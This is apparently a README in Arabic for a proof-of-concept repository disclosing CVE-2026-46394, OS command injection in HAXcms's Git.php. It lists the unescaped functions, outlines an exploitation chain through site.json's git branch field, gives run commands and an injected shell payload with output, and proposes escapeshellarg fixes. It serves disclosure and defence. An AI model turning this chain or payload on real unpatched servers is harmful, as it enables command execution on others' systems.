
PoC وشرح للثغرة CVE-2026-46394: حقن أوامر نظام التشغيل في HAXcms Git.php (CWE-78). لأغراض البحث الأمني المصرح به فقط.
Git.php الخاص بـ HAXcms (CWE-78)إثبات المفهوم للاختبار الأمني والبحث المصرح به فقط. الثغرة الموضحة هنا تم إصلاحها في أحدث إصدار من HAXcms. نُشر إثبات المفهوم هذا ليتمكن المدافعون والباحثون من التحقق من المشكلة على النسخ غير المُصححة التي يملكونها أو المصرح لهم صراحةً باختبارها.
| CVE | CVE-2026-46394 |
| المكوّن | الواجهة الخلفية PHP الخاصة بـ HAXcms - system/backend/php/lib/Git.php |
| الثغرة | حقن أوامر نظام التشغيل (CWE-78) |
| الخطورة | عالية - CVSS 3.1 7.2 منفردة / 8.1 عند دمجها مع اجتياز المسار |
| الحالة | مُصلَحة من المصدر. تؤثر على الإصدارات السابقة للتصحيح. |
| المشروع | elmsln/HAXcms |
| المُبلِّغ | Shreyas Challa ([email protected]) |
تبني مكتبة Git.php في الواجهة الخلفية PHP الخاصة بـ HAXcms سلاسل أوامر الصدفة عن طريق
ربط معاملات غير مُعقّمة وتمررها مباشرة إلى
proc_open(). من بين 17 دالة تنفّذ أوامر الصدفة، هناك واحدة فقط
(commit()) تستخدم escapeshellarg(). أما الدوال الـ 15 المتبقية فتُدرج
مدخلات المتصل مباشرة في سلسلة الأمر.
أي قيمة تحتوي على محارف صدفة خاصة (&, ;, |, $(), backticks) تصل إلى
إحدى هذه الدوال تؤدي إلى تنفيذ أوامر نظام تشغيل عشوائية بصلاحيات
مستخدم خادم الويب.
الدالة الوحيدة المُهرَّبة بشكل صحيح هي أوضح دليل على أن الهروب كان مفهومًا وتم إهماله ببساطة في كل مكان آخر.
تمر جميع الدوال القابلة للاستغلال عبر run() → run_command() → proc_open():
// Git.php:408-411 - builds a raw command string
public function run($command) {
return $this->run_command(Git::get_bin() . " " . $command);
}
// Git.php:383 - executes it via the system shell
$resource = proc_open($command, $descriptors, $pipes, $this->repo_path, $env);
مثال قابل للاستغلال مقابل الدالة الآمنة الوحيدة:
// Git.php:574 - VULNERABLE (no escaping)
public function create_branch($branch) {
return $this->run("branch $branch");
}
// Git.php:496 - SAFE (proves the author knew the pattern)
public function commit($message = "") {
return $this->run("commit -av -m " . escapeshellarg($message));
}
| الدالة | السطر | أمر الصدفة | تم الهروب؟ |
|---|---|---|---|
create_branch($branch) | 574 | branch $branch | لا |
delete_branch($branch) | 588 | branch -d $branch | لا |
checkout($branch) | 663 | checkout $branch | لا |
merge($branch) | 677 | merge $branch --no-ff | لا |
push($remote, $branch) | 785 | push $remote $branch $flags | لا |
pull($remote, $branch) | 799 | pull $remote $branch | لا |
log($format) | 813 | log --pretty=format:"$format" | لا |
show($commit, $format) | 830 | show --pretty=format:"$format" $commit | لا |
list_tags($pattern) | 763 | tag -l $pattern | لا |
clone_to($target) | 512 | clone --local $repo $target | لا |
clone_from($source) | 527 | clone --local $source $repo | لا |
clone_remote($source) | 543 | clone $source $repo | لا |
set_remote($dest, $url) | 460 | remote add $dest $url | لا |
rm($files) |
في قاعدة الكود الموزعة، تُستدعى هذه الدوال بقيم مأخوذة من إعدادات الخادم/الموقع وليس مباشرة من أجسام الطلبات، لذلك يتحقق الاستغلال عن طريق التسلسل:
saveOutline لاستبدال ملف site.json الخاص بموقع ما، وحقن محارف خاصة في
metadata.site.git.branch. الاستدعاء التالي لـ gitCommit() يستدعي
push('origin', $branch) عند HAXCMSSite.php:584، لتنفيذ الحمولة.create_branch() (Operations.php:2762) أو set_remote()
(HAXCMSSite.php:625).يُشغّل إثبات المفهوم مكتبة Git.php الفعلية مباشرة: فهو يُنشئ مستودع git مؤقتًا
يُتخلص منه، ويستدعي create_branch() بحمولة تستخدم فاصل أوامر الصدفة،
ويؤكد التنفيذ بفحص وجود ملف إثبات مكتوب على القرص. وينظف آثاره بعد ذلك بنفسه.
git على PATHgit clone https://github.com/elmsln/HAXcms.git
git clone https://github.com/shreyas-challa/CVE-2026-46394-haxcms-git-command-injection.git
cd CVE-2026-46394-haxcms-git-command-injection
وجّه إثبات المفهوم إلى Git.php من نسختك المستنسخة من HAXcms (عبر متغير البيئة أو الوسيطة الأولى)؛
كما يكتشف تلقائيًا مجلد haxcms-php/ الموضوع بجانبه:
# Option A - environment variable
HAXCMS_PHP=../HAXcms/haxcms-php/system/backend/php/lib/Git.php php poc_git_cmdi.php
# Option B - CLI argument
php poc_git_cmdi.php ../HAXcms/haxcms-php/system/backend/php/lib/Git.php
يعمل على كل من Unix (الفاصل ;) وWindows (الفاصل &)؛ يختار إثبات المفهوم
الحمولة الصحيحة تلقائيًا حسب نظام التشغيل المضيف.
================================================================
HAXcms Git.php - OS Command Injection (CWE-78)
================================================================
STEP 3: Inject OS command via create_branch()
Payload: test & echo COMMAND_INJECTION_PROOF > "...\PWNED.txt"
STEP 4: Verify injected command executed
FILE FOUND!
Content: COMMAND_INJECTION_PROOF
COMMAND INJECTION CONFIRMED.
طبّق escapeshellarg() على كل معامل في جميع الدوال الـ 15:
// BEFORE
public function create_branch($branch) {
return $this->run("branch " . $branch);
}
// AFTER
public function create_branch($branch) {
return $this->run("branch " . escapeshellarg($branch));
}
الدفاع في العمق - تحقق من صحة القيم قبل وصولها إلى طبقة git:
function validateBranchName($branch) {
return preg_match('/^[a-zA-Z0-9._\/-]+$/', $branch) && strpos($branch, '..') === false;
}
قم بالتحديث إلى أحدث إصدار من HAXcms، والذي يحتوي على الإصلاح من المصدر.
تم الإبلاغ عن هذه الثغرة إلى القائمين على صيانة HAXcms وتم إصلاحها قبل النشر. تم إصدار إثبات المفهوم فقط بعد توفر التصحيح. استخدمه حصريًا ضد الأنظمة التي تملكها أو المصرح لك صراحةً باختبارها.
هذه المادة مقدمة لـ البحث الدفاعي والتعليم والاختبار الأمني المصرح به.
قد يكون تشغيلها ضد أنظمة دون إذن صريح غير قانوني. أنت وحدك المسؤول عن الامتثال
لجميع القوانين المعمول بها وعن الحصول على التفويض قبل الاختبار. مقدمة «كما هي»
بدون أي ضمان (انظر LICENSE).
| 479 |
rm $files |
| لا |
add_tag($tag, $msg) | 749 | tag -a $tag -m $msg | $tag: لا, $msg: نعم |
commit($message) | 496 | commit -av -m $message | نعم (الوحيدة الآمنة) |